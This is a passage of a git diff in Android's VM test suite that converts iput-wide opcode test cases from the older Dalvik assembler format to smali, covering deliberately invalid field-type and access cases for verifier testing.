+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 77
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_12;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d
deleted file mode 100644
index cdf7fe6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_13.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_13
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v2, 0
-       const-wide v0, 778899112233
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_13.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.smali
new file mode 100644
index 0000000..ea83e99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_13;
+.super Ljava/lang/Object;
+.source "T_iput_wide_13.java"
+
+
+# instance fields
+.field public st_i1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const p0, 0x0
+
+    const-wide v0, 0xb55a014129L
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_13;->st_i1:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.d
deleted file mode 100644
index 22bafcf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_14.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_14
-.super dot/junit/opcodes/iput_wide/d/T_iput_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/d/T_iput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()J
-.limit regs 2
-
-       iget-wide v0, v1, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_p1 J
-       return-wide v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 77
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_p1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali
new file mode 100644
index 0000000..704d937
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_14.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_14;
+.super  Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()J
+.registers 2
+
+       iget-wide v0, v1, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_p1:J
+       return-wide v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 77
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_p1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.d
deleted file mode 100644
index 4e8b2ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_15.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_15
-.super dot/junit/opcodes/iput_wide/d/T_iput_wide_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/d/T_iput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_pvt1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali
new file mode 100644
index 0000000..73fb66a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_15.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_15;
+.super  Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_pvt1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.d
deleted file mode 100644
index 058d1dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_17.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_17
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_17.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali
new file mode 100644
index 0000000..77ddafa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_17.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_17;->st_i1:J
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d
deleted file mode 100644
index 1818bed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_18.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_18
-.super java/lang/Object
-
-.field public  st_i1 F
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1.0
-       iput-wide v1, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_18.st_i1 F
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.smali
new file mode 100644
index 0000000..5e8dacc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_18;
+.super Ljava/lang/Object;
+.source "T_iput_wide_18.java"
+
+
+# instance fields
+.field public st_i1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x3f800000    # 1.0f
+
+    iput-wide v1, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_18;->st_i1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.d
deleted file mode 100644
index 8d6dc36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_2.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_2
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali
new file mode 100644
index 0000000..1cffac5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_2.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d
deleted file mode 100644
index e0efb25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_20.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_20
-.super java/lang/Object
-
-.field public  st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const-wide v0, 0
-
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.smali
new file mode 100644
index 0000000..d29aa3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_20;
+.super Ljava/lang/Object;
+.source "T_iput_wide_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const-wide v0, 0x0
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.d
deleted file mode 100644
index 064a9a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_21.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_21
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 12    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali
new file mode 100644
index 0000000..387b130
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_21.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 12    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.d
deleted file mode 100644
index 80a827d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_22.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali
new file mode 100644
index 0000000..edcffcd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_22.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.d
deleted file mode 100644
index d37bbd0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_23.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_23
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali
new file mode 100644
index 0000000..3ad064b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_23.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       iput-wide v0, v3, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.d
deleted file mode 100644
index 3f0102f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_24.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 1    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali
new file mode 100644
index 0000000..6e414bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
